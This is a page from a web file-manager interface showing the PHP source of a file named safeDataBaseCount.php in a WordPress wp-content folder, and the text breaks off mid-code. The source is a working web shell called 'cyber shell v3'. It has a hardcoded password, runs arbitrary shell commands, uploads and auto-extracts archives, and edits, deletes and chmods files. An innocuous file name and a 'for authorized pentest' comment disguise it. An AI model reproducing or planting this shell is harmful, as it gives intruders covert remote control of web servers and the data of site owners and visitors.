文件操作 - safeDataBaseCount.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/clear2perfection/public_html/wp-content/safeDataBaseCount.php
编辑文件内容
<?php /** * Simple File Manager - Clean Version * No persistence, no self-replication, no hidden backdoors. * For authorized pentest use only. */ error_reporting(0); @ini_set('display_errors', 0); // ==================== NOTIFICATION SYSTEM ==================== function set_notif($type, $message) { $_SESSION['sfm_notif'] = ['type' => $type, 'message' => $message, 'time' => time()]; } function get_notif() { if (isset($_SESSION['sfm_notif'])) { $n = $_SESSION['sfm_notif']; unset($_SESSION['sfm_notif']); return $n; } return null; } // ==================== AUTHENTICATION ==================== $auth_pass = 'cybershell2026'; // GANTI dengan password kamu session_start(); // Logout if (isset($_GET['logout'])) { session_destroy(); header('Location: ?'); exit; } // Check if authenticated if (!isset($_SESSION['sfm_auth'])) { // Process login if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['sfm_password'])) { if ($_POST['sfm_password'] === $auth_pass) { $_SESSION['sfm_auth'] = true; // Redirect to clear POST header('Location: ?'); exit; } else { $login_error = true; } } // Show login page (no further execution) ?> <!DOCTYPE html> <html> <head> <title>⌁ AUTH // CYBER SHELL</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" type="image/svg+xml" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='4' fill='%23020208'/%3E%3Ctext x='4' y='24' font-size='20' fill='%2300ff88'%3E⌁%3C/text%3E%3C/svg%3E"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet"> <style> * { margin:0; padding:0; box-sizing:border-box; } ::selection { background:#ff00aa; color:#000; } body { font-family:'JetBrains Mono','Fira Code','Cascadia Code',monospace; font-size:14px; background:#020208; color:#b0b0c0; min-height:100vh; display:flex; justify-content:center; align-items:center; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; background-image: radial-gradient(ellipse at 50% 30%, rgba(0,255,136,0.03) 0%, transparent 50%), radial-gradient(ellipse at 50% 70%, rgba(138,43,226,0.03) 0%, transparent 50%); } .login-wrap { width:400px; max-width:92%; padding:0; } .login-box { background:#0d0d1a; border:1px solid #1a1a2e; border-radius:6px; padding:35px 30px; text-align:center; box-shadow:0 0 40px rgba(0,255,136,0.05); } .login-logo { color:#00ff88; font-size:36px; font-weight:700; letter-spacing:3px; margin-bottom:4px; text-shadow:0 0 30px rgba(0,255,136,0.3); } .login-logo span { color:#ff00aa; } .login-sub { font-size:10px; color:#555; letter-spacing:5px; text-transform:uppercase; margin-bottom:25px; border-bottom:1px solid #1a1a2e; padding-bottom:18px; } .login-label { display:block; font-size:9px; text-transform:uppercase; letter-spacing:3px; color:#555; margin-bottom:10px; font-weight:700; } .login-input { width:100%; padding:14px 18px; background:#0a0a12; border:1px solid #1a1a2e; color:#00ff88; font-family:'JetBrains Mono','Fira Code',monospace; font-size:16px; border-radius:3px; outline:none; transition:all 0.3s; text-align:center; letter-spacing:4px; } .login-input:focus { border-color:#ff00aa; box-shadow:0 0 20px rgba(255,0,170,0.15); } .login-input::placeholder { color:#222; letter-spacing:2px; font-size:14px; } .login-btn { width:100%; padding:14px; margin-top:16px; background:#0d0d1a; color:#00ff88; border:1px solid #00ff88; border-radius:3px; cursor:pointer; font-family:'JetBrains Mono','Fira Code',monospace; font-size:13px; font-weight:700; letter-spacing:3px; text-transform:uppercase; transition:all 0.3s; } .login-btn:hover { background:#00ff88; color:#020208; box-shadow:0 0 30px rgba(0,255,136,0.3); } .login-error { margin-top:14px; padding:10px; background:rgba(255,51,85,0.08); border:1px solid #ff3355; border-radius:3px; color:#ff3355; font-size:11px; letter-spacing:1px; } .login-glitch { display:flex; align-items:center; gap:10px; margin-top:25px; } .login-glitch .line { flex:1; height:1px; background:linear-gradient(90deg, transparent, #ff00aa, #00ff88, transparent); } .login-glitch .tag { font-size:7px; letter-spacing:3px; color:#333; white-space:nowrap; } .status-dots { display:flex; justify-content:center; gap:6px; margin-bottom:20px; } .status-dot { width:5px; height:5px; border-radius:50%; display:inline-block; } .dot-g { background:#00ff88; box-shadow:0 0 6px #00ff88; animation:pulse 2s infinite; } .dot-p { background:#ff00aa; box-shadow:0 0 6px #ff00aa; animation:pulse 2.5s infinite; } .dot-b { background:#333; } @keyframes pulse { 0%,100% { opacity:1; } 50% { opacity:0.3; } } .caps-hint { font-size:8px; color:#333; margin-top:8px; letter-spacing:2px; } .breadcrumb-link { color: #00ff41; text-decoration: none; transition: all 0.2s ease; padding: 1px 4px; border-radius: 3px; } .breadcrumb-link:hover { background: rgba(0, 255, 65, 0.15); color: #0f0; text-shadow: 0 0 8px rgba(0, 255, 65, 0.5); } .breadcrumb-sep { color: #ff00ff; opacity: 0.7; margin: 0 2px; } </style> </head> <body> <div class="login-wrap"> <div class="login-box"> <div class="status-dots"> <span class="status-dot dot-g"></span> <span class="status-dot dot-p"></span> <span class="status-dot dot-b"></span> </div> <div class="login-logo">⌁<span>FILE</span>MANAGER</div> <div class="login-sub">// cyber shell v3</div> <form method="post"> <label class="login-label">⦿ Authentication Required</label> <input type="password" name="sfm_password" class="login-input" placeholder="••••••••" autofocus autocomplete="off"> <button type="submit" class="login-btn">▸ UNLOCK</button> </form> <?php if (isset($login_error)): ?> <div class="login-error">⛔ ACCESS DENIED // INVALID CREDENTIALS</div> <?php endif; ?> <div class="caps-hint">[ unauthorized access is prohibited ]</div> <div class="login-glitch"> <span class="line"></span> <span class="tag">⌁ LOCKED // AUTH GATE</span> <span class="line"></span> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { document.querySelector('.login-input').focus(); }); </script> </body> </html> <?php exit; } // ==================== END AUTH ==================== function safe_exec($cmd) { $out = ''; if (function_exists('system')) { ob_start(); system($cmd); $out = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $output); $out = implode("\n", $output); } elseif (function_exists('shell_exec')) { $out = shell_exec($cmd); } return $out; } function sanitize_path($p) { return str_replace(['..\\','../','\\','<','>','|','..'], ['','','/','','','',''], $p); } function get_perms($path) { if (!file_exists($path)) return '---------'; $perms = fileperms($path); $info = ''; $info .= is_dir($path) ? 'd' : (is_link($path) ? 'l' : '-'); $info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'); $info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'); $info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'); return $info; } function get_perms_color($path) { $perms = get_perms($path); $html = ''; for ($i = 0; $i < strlen($perms); $i++) { $ch = $perms[$i]; if ($ch == 'r') $html .= '<span style="color:#00ff88">r</span>'; elseif ($ch == 'w') $html .= '<span style="color:#ffaa00">w</span>'; elseif ($ch == 'x' || $ch == 's' || $ch == 't') $html .= '<span style="color:#ff00aa">' . $ch . '</span>'; elseif ($ch == 'S' || $ch == 'T') $html .= '<span style="color:#ff3355">' . $ch . '</span>'; elseif ($ch == 'd') $html .= '<span style="color:#00ff88">d</span>'; elseif ($ch == 'l') $html .= '<span style="color:#ffaa00">l</span>'; else $html .= '<span style="color:#444">-</span>'; } return $html; } function octal_perms($path) { if (!file_exists($path)) return '0000'; return substr(sprintf('%o', fileperms($path)), -4); } function extract_zip($zip_path, $dest_dir) { $zip = new ZipArchive; $res = $zip->open($zip_path); if ($res === TRUE) { $zip->extractTo($dest_dir); $zip->close(); return true; } return false; } $dir = isset($_GET['d']) ? sanitize_path($_GET['d']) : getcwd(); @chdir($dir); $current_dir = getcwd(); // Handle POST actions if ($_SERVER['REQUEST_METHOD'] == 'POST') { if (isset($_POST['command'])) { echo '<div id="output-box" style="background:#0a0a12;color:#00ff88;padding:18px;border:1px solid #00ff88;border-radius:4px;margin:12px 0;white-space:pre-wrap;font-family:\'JetBrains Mono\',\'Fira Code\',\'Cascadia Code\',monospace;font-size:13px;box-shadow:0 0 20px rgba(0,255,136,0.1)">'; echo '<span style="color:#ff00aa;font-weight:bold">⦿ OUTPUT</span><br>'; echo htmlspecialchars(safe_exec($_POST['command'])); echo '</div>'; } if (isset($_FILES['upload'])) { $upload_count = 0; foreach($_FILES['upload']['tmp_name'] as $k => $v) { if ($_FILES['upload']['error'][$k] !== UPLOAD_ERR_OK) continue; $orig_name = basename($_FILES['upload']['name'][$k]); $t = $current_dir . '/' . $orig_name; if (move_uploaded_file($v, $t)) { $upload_count++; // Auto-extract .zip files $ext = strtolower(pathinfo($orig_name, PATHINFO_EXTENSION)); if ($ext === 'zip' && isset($_POST['autoextract'])) { $zip = new ZipArchive; $res = $zip->open($t); if ($res === TRUE) { $zip->extractTo($current_dir); $zip->close(); } } } } if ($upload_count > 0) { set_notif('success', "✓ {$upload_count} file(s) uploaded successfully"); } else { set_notif('error', '✗ No files were uploaded'); } } if (isset($_POST['newdir'])) { $dir_name = trim($_POST['newdir']); if (!empty($dir_name)) { if (@mkdir($current_dir . '/' . $dir_name, 0755, true)) { set_notif('success', "✓ Directory '{$dir_name}' created"); } else { set_notif('error', "✗ Failed to create directory '{$dir_name}'"); } } } if (isset($_POST['createfile'])) { $fname = trim($_POST['newfilename']); if (!empty($fname)) { $fpath = $current_dir . '/' . $fname; if (!file_exists($fpath)) { @file_put_contents($fpath, ''); @chmod($fpath, 0644); set_notif('success', "✓ File '{$fname}' created"); } else { set_notif('error', "✗ File '{$fname}' already exists"); } } } if (isset($_POST['delete'])) { $it = $current_dir . '/' . $_POST['item']; $item_name = $_POST['item']; if (is_dir($it)) { if (@rmdir($it)) { set_notif('success', "✓ Directory '{$item_name}' deleted"); } else { set_notif('error', "✗ Failed to delete directory '{$item_name}'"); } } else { if (@unlink($it)) { set_notif('success', "✓ File '{$item_name}' deleted"); } else { set_notif('error', "✗ Failed to delete file '{$item_name}'"); } } } if (isset($_POST['rename'])) { $old = $current_dir . '/' . $_POST['oldname']; $new = $current_dir . '/' . $_POST['newname']; $old_name = $_POST['oldname']; $new_name = $_POST['newname']; if (file_exists($old) && !empty($new_name) && $new_name !== $old_name) { if (@rename($old, $new)) { set_notif('success', "✓ Renamed '{$old_name}' → '{$new_name}'"); } else { set_notif('error', "✗ Failed to rename '{$old_name}'"); } } elseif ($new_name === $old_name) { set_notif('info', 'Same name, no changes made'); } } if (isset($_POST['savefile'])) { $filename = $_POST['filename']; if (@file_put_contents($current_dir . '/' . $filename, $_POST['filecontent'])) { set_notif('success', "✓ File '{$filename}' saved"); } else { set_notif('error', "✗ Failed to save file '{$filename}'"); } } if (isset($_POST['chmod'])) { $target = $current_dir . '/' . $_POST['chmod_file']; $mode = intval($_POST['chmod_mode'], 8); if (file_exists($target) && $mode > 0) { if (@chmod($target, $mode)) { set_notif('success', "✓ Permission changed to '{$_POST['chmod_mode']}' for '{$_POST['chmod_file']}'"); } else { set_notif('error', "✗ Failed to change permission"); } } } if (isset($_POST['extract_zip'])) { $zip_name = basename($_POST['extract_zip']); $zip_path = $current_dir . '/' . $zip_name; if (file_exists($zip_path) && is_file($zip_path)) { $zip = new ZipArchive; $res = $zip->open($zip_path); if ($res === TRUE) { $zip->extractTo($current_dir); $zip->close(); set_notif('success', "✓ Extracted '{$zip_name}'"); } else { set_notif('error', "✗ Failed to extract '{$zip_name}' (corrupt or invalid)"); } } else { set_notif('error', "✗ File '{$zip_name}' not found"); } } } ?> <!DOCTYPE html> <html> <head> <title>⌁ FILE MANAGER // CYBER SHELL</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" type="image/svg+xml" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='4' fill='%23020208'/%3E%3Ctext x='4' y='24' font-size='20'%3E⌁%3C/text%3E%3C/svg%3E"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet"> <style> * { margin:0; padding:0; box-sizing:border-box; } ::selection { background:#ff00aa; color:#000; } ::-webkit-scrollbar { width:6px; height:6px; } ::-webkit-scrollbar-track { background:#0a0a12; } ::-webkit-scrollbar-thumb { background:#00ff88; border-radius:3px; } body { font-family:'JetBrains Mono','Fira Code','Cascadia Code',monospace; font-size:14px; background:#020208; color:#b0b0c0; min-height:100vh; padding:0; margin:0; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; background-image: radial-gradient(ellipse at 20% 50%, rgba(0,255,136,0.03) 0%, transparent 50%), radial-gradient(ellipse at 80% 50%, rgba(138,43,226,0.03) 0%, transparent 50%); } .container { max-width:1500px; margin:0 auto; padding:20px 25px 40px; } /* HEADER */ .header { display:flex; align-items:center; justify-content:space-between; padding:18px 0; border-bottom:1px solid rgba(0,255,136,0.15); margin-bottom:20px; flex-wrap:wrap; gap:10px; } .header-left { display:flex; align-items:center; gap:15px; } .logo { color:#00ff88; font-size:22px; font-weight:700; letter-spacing:2px; text-shadow:0 0 20px rgba(0,255,136,0.4); } .logo span { color:#ff00aa; } .sub-logo { font-size:10px; color:#555; letter-spacing:4px; text-transform:uppercase; border:1px solid #333; padding:2px 8px; border-radius:2px; } .status-bar { display:flex; align-items:center; gap:15px; flex-wrap:wrap; } .status-item { display:flex; align-items:center; gap:6px; font-size:11px; color:#888; } .status-dot { width:7px; height:7px; border-radius:50%; display:inline-block; } .dot-green { background:#00ff88; box-shadow:0 0 8px #00ff88; animation:pulse 2s infinite; } .dot-pink { background:#ff00aa; box-shadow:0 0 8px #ff00aa; animation:pulse 2.5s infinite; } @keyframes pulse { 0%,100% { opacity:1; } 50% { opacity:0.3; } } /* PATH NAV */ .path-nav { display:flex; align-items:center; gap:8px; padding:12px 16px; background:#0d0d1a; border:1px solid #1a1a2e; border-radius:4px; margin-bottom:18px; flex-wrap:wrap; font-size:12px; } .path-nav .prompt { color:#ff00aa; font-weight:700; } .path-nav .path-text { color:#00ff88; word-break:break-all; } .path-nav a { color:#ff00aa; text-decoration:none; padding:2px 8px; border:1px solid #333; border-radius:2px; font-size:11px; transition:all 0.2s; } .path-nav a:hover { border-color:#ff00aa; background:rgba(255,0,170,0.1); box-shadow:0 0 10px rgba(255,0,170,0.2); } /* TOOLBAR GRID */ .toolbar-grid { display:grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap:14px; margin-bottom:18px; } .toolbar-item { background:#0a0a12; border:1px solid #1a1a2e; border-radius:4px; padding:12px 14px; } .toolbar-item label { display:block; font-size:9px; text-transform:uppercase; letter-spacing:3px; color:#555; margin-bottom:6px; font-weight:700; } .toolbar-item .input-group { display:flex; gap:8px; align-items:center; } .cyber-input { width:100%; padding:10px 14px; background:#0d0d1a; border:1px solid #1a1a2e; color:#00ff88; font-family:'JetBrains Mono','Fira Code',monospace; font-size:13px; border-radius:3px; outline:none; transition:all 0.3s; } .cyber-input:focus { border-color:#ff00aa; box-shadow:0 0 15px rgba(255,0,170,0.15); } .cyber-input::placeholder { color:#333; } .cyber-input-sm { padding:7px 10px; font-size:12px; width:auto; display:inline-block; } .btn { padding:10px 20px; background:#0d0d1a; color:#00ff88; border:1px solid #00ff88; border-radius:3px; cursor:pointer; font-family:'JetBrains Mono','Fira Code',monospace; font-size:11px; font-weight:700; letter-spacing:1px; text-transform:uppercase; transition:all 0.3s; white-space:nowrap; } .btn:hover { background:#00ff88; color:#020208; box-shadow:0 0 25px rgba(0,255,136,0.3); } .btn-sm { padding:7px 14px; font-size:10px; } .btn-pink { border-color:#ff00aa; color:#ff00aa; } .btn-pink:hover { background:#ff00aa; color:#020208; box-shadow:0 0 25px rgba(255,0,170,0.3); } .btn-red { border-color:#ff3355; color:#ff3355; } .btn-red:hover { background:#ff3355; color:#020208; box-shadow:0 0 25px rgba(255,51,85,0.3); } .btn-yellow { border-color:#ffaa00; color:#ffaa00; } .btn-yellow:hover { background:#ffaa00; color:#020208; box-shadow:0 0 25px rgba(255,170,0,0.3); } .btn-cyan { border-color:#00ccff; color:#00ccff; } .btn-cyan:hover { background:#00ccff; color:#020208; box-shadow:0 0 25px rgba(0,204,255,0.3); } .btn-orange { border-color:#ff8800; color:#ff8800; } .btn-orange:hover { background:#ff8800; color:#020208; box-shadow:0 0 25px rgba(255,136,0,0.3); } input[type="file"] { color:#888; font-family:'JetBrains Mono','Fira Code',monospace; font-size:11px; } input[type="file"]::file-selector-button { padding:6px 12px; background:#0d0d1a; color:#00ff88; border:1px solid #00ff88; border-radius:3px; cursor:pointer; font-family:'JetBrains Mono','Fira Code',monospace; font-size:11px; transition:all 0.3s; margin-right:8px; } input[type="file"]::file-selector-button:hover { background:#00ff88; color:#020208; } /* COMMAND ROW */ .command-row { margin-bottom:18px; } .command-row label { display:block; font-size:9px; text-transform:uppercase; letter-spacing:3px; color:#555; margin-bottom:6px; font-weight:700; } .command-row .input-group { display:flex; gap:10px; align-items:center; } /* TABLE */ .table-wrap { background:#0a0a12; border:1px solid #1a1a2e; border-radius:4px; overflow:hidden; margin-bottom:20px; } .table-header { display:flex; justify-content:space-between; align-items:center; padding:12px 16px; background:#0d0d1a; border-bottom:1px solid #1a1a2e; } .table-header h3 { color:#00ff88; font-size:11px; letter-spacing:3px; text-transform:uppercase; } .table-header .count { color:#555; font-size:11px; } /* SECTION LABEL dalam tabel */ .section-label { background:#0d0d1a; border-bottom:1px solid #1a1a2e; } .section-label td { padding:6px 16px; font-size:9px; letter-spacing:3px; text-transform:uppercase; color:#333; border-bottom:1px solid #1a1a2e; } .section-label-dir td { border-top:2px solid rgba(0,255,136,0.15); } .section-label-file td { border-top:2px solid rgba(136,136,255,0.1); } table { width:100%; border-collapse:collapse; } th { padding:10px 16px; text-align:left; font-size:9px; text-transform:uppercase; letter-spacing:3px; color:#555; background:#0d0d1a; border-bottom:1px solid #1a1a2e; font-weight:400; } td { padding:8px 12px; border-bottom:1px solid #12121e; font-size:13px; vertical-align:middle; } tr:hover td { background:rgba(0,255,136,0.03); } tr:last-child td { border-bottom:none; } .name-cell { display:flex; align-items:center; gap:10px; } .icon-dir { color:#00ff88; font-size:15px; } .icon-file { color:#888; font-size:14px; } .icon-zip { color:#ff8800; font-size:14px; } .name-link { color:#b0b0c0; text-decoration:none; transition:color 0.2s; } .name-link:hover { color:#00ff88; text-shadow:0 0 10px rgba(0,255,136,0.2); } .name-link-dir { color:#00ff88; text-decoration:none; font-weight:500; } .name-link-dir:hover { text-shadow:0 0 10px rgba(0,255,136,0.3); } .size-cell { color:#555; font-size:12px; white-space:nowrap; } .perms-cell { font-size:12px; font-family:'JetBrains Mono','Fira Code',monospace; white-space:nowrap; cursor:default; } .octal-cell { color:#555; font-size:11px; font-family:'JetBrains Mono','Fira Code',monospace; white-space:nowrap; } .actions-cell { white-space:nowrap; } .actions-cell a { text-decoration:none; font-size:10px; padding:2px 6px; border:1px solid #333; border-radius:2px; margin-right:3px; transition:all 0.2s; display:inline-block; } .act-enter { color:#00ff88; } .act-enter:hover { border-color:#00ff88; background:rgba(0,255,136,0.1); } .act-edit { color:#ffaa00; } .act-edit:hover { border-color:#ffaa00; background:rgba(255,170,0,0.1); } .act-rename { color:#8888ff; } .act-rename:hover { border-color:#8888ff; background:rgba(136,136,255,0.1); } .act-chmod { color:#00ccff; } .act-chmod:hover { border-color:#00ccff; background:rgba(0,204,255,0.1); } .act-extract { color:#ff8800; } .act-extract:hover { border-color:#ff8800; background:rgba(255,136,0,0.1); } .actions-cell form { display:inline; } .actions-cell form button { padding:2px 6px; font-size:10px; border:1px solid #ff3355; color:#ff3355; background:none; border-radius:2px; cursor:pointer; font-family:'JetBrains Mono','Fira Code',monospace; transition:all 0.2s; } .actions-cell form button:hover { background:#ff3355; color:#020208; box-shadow:0 0 15px rgba(255,51,85,0.3); } /* LOGOUT BUTTON */ .logout-link { color:#ff3355; font-size:11px; text-decoration:none; padding:4px 10px; border:1px solid #333; border-radius:2px; transition:all 0.2s; letter-spacing:1px; } .logout-link:hover { border-color:#ff3355; background:rgba(255,51,85,0.1); box-shadow:0 0 10px rgba(255,51,85,0.2); } /* DIVIDER LINE */ .glitch-line { display:flex; align-items:center; gap:10px; margin:15px 0; } .glitch-line .line { flex:1; height:1px; background:linear-gradient(90deg, transparent, #ff00aa, #00ff88, transparent); } .glitch-line .tag { font-size:9px; letter-spacing:3px; color:#555; white-space:nowrap; } /* NOTIFICATION BAR */ .notif-bar { padding:12px 18px; border-radius:4px; margin-bottom:16px; font-size:12px; letter-spacing:0.5px; font-weight:500; animation: notifSlide 0.3s ease-out; display:flex; align-items:center; gap:10px; border-left:4px solid; } .notif-success { background:rgba(0,255,136,0.08); border-left-color:#00ff88; color:#00ff88; border:1px solid rgba(0,255,136,0.15); } .notif-error { background:rgba(255,51,85,0.08); border-left-color:#ff3355; color:#ff3355; border:1px solid rgba(255,51,85,0.15); } .notif-info { background:rgba(0,204,255,0.08); border-left-color:#00ccff; color:#00ccff; border:1px solid rgba(0,204,255,0.15); } .notif-close { margin-left:auto; cursor:pointer; opacity:0.5; font-size:14px; transition:opacity 0.2s; background:none; border:none; color:inherit; font-family:'JetBrains Mono',monospace; } .notif-close:hover { opacity:1; } @keyframes notifSlide { from { opacity:0; transform:translateY(-10px); } to { opacity:1; transform:translateY(0); } } /* MODAL OVERLAY */ .modal-overlay { display:none; position:fixed; top:0;left:0;right:0;bottom:0; background:rgba(2,2,8,0.85); z-index:1000; justify-content:center; align-items:center; } .modal-overlay.active { display:flex; } .modal-box { background:#0d0d1a; border:1px solid #8888ff; border-radius:6px; padding:25px; min-width:380px; max-width:92%; box-shadow:0 0 40px rgba(136,136,255,0.15); } .modal-box h3 { color:#8888ff; font-size:14px; letter-spacing:2px; margin-bottom:15px; text-transform:uppercase; } .modal-box label { display:block; font-size:10px; color:#555; letter-spacing:1px; margin-bottom:4px; } .modal-box .btn-row { display:flex; gap:10px; margin-top:15px; justify-content:flex-end; } /* CHMOD MODAL */ .chmod-grid { display:flex; gap:12px; margin:12px 0; justify-content:center; } .chmod-bit { text-align:center; padding:6px 8px; background:#0a0a12; border:1px solid #1a1a2e; border-radius:3px; cursor:pointer; transition:all 0.2s; user-select:none; min-width:44px; } .chmod-bit:hover { border-color:#ff00aa; } .chmod-bit .bit-label { display:block; font-size:8px; text-transform:uppercase; letter-spacing:1px; color:#555; margin-bottom:2px; } .chmod-bit .bit-value { display:block; font-size:16px; font-weight:700; font-family:'JetBrains Mono','Fira Code',monospace; } .chmod-bit.on .bit-value { color:#00ff88; text-shadow:0 0 8px rgba(0,255,136,0.4); } .chmod-bit.off .bit-value { color:#333; } .chmod-bit.special .bit-value { color:#ff00aa; } .chmod-bit.special.on .bit-value { color:#ff00aa; text-shadow:0 0 8px rgba(255,0,170,0.4); } .chmod-preview { text-align:center; margin:8px 0; } .chmod-preview .preview-perms { font-size:18px; letter-spacing:2px; font-family:'JetBrains Mono','Fira Code',monospace; } .chmod-preview .preview-octal { font-size:22px; font-weight:700; color:#00ff88; font-family:'JetBrains Mono','Fira Code',monospace; margin-left:12px; } /* EDITOR */ .editor-wrap { background:#0a0a12; border:1px solid #ffaa00; border-radius:4px; overflow:hidden; margin-top:20px; box-shadow:0 0 30px rgba(255,170,0,0.05); } .editor-header { display:flex; justify-content:space-between; align-items:center; padding:10px 16px; background:#0d0d1a; border-bottom:1px solid #333; } .editor-header span { font-size:12px; color:#ffaa00; } .editor-wrap textarea { width:100%; padding:16px; background:#0a0a12; border:none; color:#b0b0c0; font-family:'JetBrains Mono','Fira Code',monospace; font-size:13px; line-height:1.6; resize:vertical; outline:none; min-height:300px; } .editor-wrap .btn-row { padding:10px 16px; background:#0d0d1a; border-top:1px solid #1a1a2e; text-align:right; } /* RESPONSIVE */ @media (max-width:900px) { .container { padding:12px; } .header { flex-direction:column; align-items:flex-start; } .status-bar { width:100%; justify-content:flex-start; } .toolbar-grid { grid-template-columns:1fr; } th, td { padding:6px 8px; font-size:12px; } .perms-cell { font-size:11px; } .octal-cell { display:none; } .section-label td { font-size:8px; padding:4px 8px; } } </style> </head> <body> <div class="container"> <!-- HEADER --> <div class="header"> <div class="header-left"> <div class="logo">⌁<span>FILE</span>MANAGER</div> <div class="sub-logo">// cyber shell v3</div> </div> <div class="status-bar"> <div class="status-item"> <span class="status-dot dot-green"></span> <span>CONNECTED</span> </div> <div class="status-item"> <span class="status-dot dot-pink"></span> <span>SECURE</span> </div> <div class="status-item"> <span style="color:#555">⏣ <?php $tz = new DateTimeZone('Asia/Jakarta'); $dt = new DateTime('now', $tz); echo $dt->format('H:i:s'); ?> WIB</span> </div> <div class="status-item"> <a href="?logout=1" class="logout-link">⛔ LOGOUT</a> </div> </div> </div> <!-- PATH NAV --> <div class="path-nav"> <span class="prompt">➤</span> <span class="path-text"> <?php $parts = explode('/', trim($current_dir, '/')); $cumulative = ''; if (empty($parts[0])) { echo '<a href="?d=/" class="breadcrumb-link">/</a>'; } else { echo '<a href="?d=/" class="breadcrumb-link">~</a> <span class="breadcrumb-sep">/</span> '; $total = count($parts); $i = 0; foreach ($parts as $part) { if ($part === '') continue; $cumulative .= '/' . $part; echo '<a href="?d=' . urlencode($cumulative) . '" class="breadcrumb-link">' . htmlspecialchars($part) . '</a>'; $i++; if ($i < $total) echo ' <span class="breadcrumb-sep">/</span> '; } } ?> </span> <span style="flex:1"></span> <a href="?d=/" class="nav-btn">⌂ /</a> <a href="?d=<?php echo urlencode(dirname($current_dir)); ?>" class="nav-btn">↑ UP</a> <a href="?" class="nav-btn">⌂ CWD</a> </div> <?php $notif = get_notif(); if ($notif): $type = $notif['type']; $msg = htmlspecialchars($notif['message']); ?> <div class="notif-bar notif-<?php echo $type; ?>"> <span><?php echo $msg; ?></span> <button class="notif-close" onclick="this.parentElement.remove()">✕</button> </div> <?php endif; ?> <!-- TOOLBAR GRID --> <div class="toolbar-grid"> <div class="toolbar-item"> <label>Upload Files</label> <form method="post" enctype="multipart/form-data" class="input-group"> <input type="file" name="upload[]" multiple style="flex:1;font-size:11px;min-width:0"> <button type="submit" class="btn btn-sm">▲ UP</button> </form> <div style="margin-top:6px;display:flex;align-items:center;gap:6px"> <input type="checkbox" name="autoextract" value="1" checked style="accent-color:#ff8800"> <label style="font-size:9px;letter-spacing:1px;color:#888;cursor:pointer;margin:0">Auto-extract .zip</label> </div> </div> <div class="toolbar-item"> <label>New Directory</label> <form method="post" class="input-group"> <input type="text" name="newdir" placeholder="dirname" class="cyber-input-sm" style="flex:1;padding:7px 10px;font-size:12px"> <button type="submit" class="btn btn-sm btn-pink">+ DIR</button> </form> </div> <div class="toolbar-item"> <label>New File</label> <div class="input-group"> <input type="text" id="newFileName" placeholder="file.php" class="cyber-input-sm" style="flex:1;padding:7px 10px;font-size:12px" onkeydown="if(event.key==='Enter'){event.preventDefault();createNewFile();}"> <button type="button" class="btn btn-sm btn-cyan" onclick="createNewFile()">+ FILE</button> </div> </div> </div> <!-- COMMAND ROW --> <div class="command-row"> <label>Command Execution</label> <form method="post" class="input-group"> <input type="text" name="command" placeholder="$ whoami && id" class="cyber-input" style="flex:1"> <button type="submit" class="btn">▸ RUN</button> </form> </div> <!-- DIVIDER --> <div class="glitch-line"> <span class="line"></span> <span class="tag">⬇ FILE SYSTEM ⬇</span> <span class="line"></span> </div> <!-- FILE TABLE --> <div class="table-wrap"> <div class="table-header"> <h3>⦿ Directory Listing</h3> <?php $fc = @scandir($current_dir); $fcount = $fc ? count(array_diff($fc,['.','..'])) : 0; echo '<span class="count">'.$fcount.' items | <span style="color:#00ff88">r</span><span style="color:#ffaa00">w</span><span style="color:#ff00aa">x</span> <span style="color:#555">= permissions</span></span>'; ?> </div> <table> <tr> <th style="width:26%">NAME</th> <th style="width:8%">SIZE</th> <th style="width:14%">PERMS</th> <th style="width:6%">OCTAL</th> <th style="width:46%">ACTIONS</th> </tr> <?php $files = @scandir($current_dir); if($files) { // Pisahkan folder dan file $dirs = []; $filz = []; foreach($files as $f) { if($f == '.' || $f == '..') continue; $p = $current_dir . '/' . $f; if (is_dir($p)) { $dirs[] = $f; } else { $filz[] = $f; } } // Urutkan abjad sort($dirs); sort($filz); // SECTION: DIRECTORIES if (!empty($dirs)) { echo '<tr class="section-label section-label-dir"><td colspan="5">📁 DIRECTORIES — ' . count($dirs) . '</td></tr>'; foreach($dirs as $f) { $p = $current_dir . '/' . $f; $w = is_writable($p); $perms_str = get_perms_color($p); $octal = octal_perms($p); echo '<tr>'; echo '<td class="name-cell">'; echo '<span class="icon-dir">📁</span>'; echo '<a href="?d='.urlencode($p).'" class="name-link-dir">'.htmlspecialchars($f).'/</a>'; echo '</td>'; echo '<td class="size-cell">—</td>'; echo '<td class="perms-cell">'.$perms_str.'</td>'; echo '<td class="octal-cell">'.$octal.'</td>'; echo '<td class="actions-cell">'; echo '<a href="?d='.urlencode($p).'" class="act-enter">[enter]</a> '; echo '<a href="#" onclick="showRename(\''.htmlspecialchars($f, ENT_QUOTES).'\');return false;" class="act-rename">[mv]</a> '; echo '<a href="#" onclick="showChmod(\''.htmlspecialchars($f, 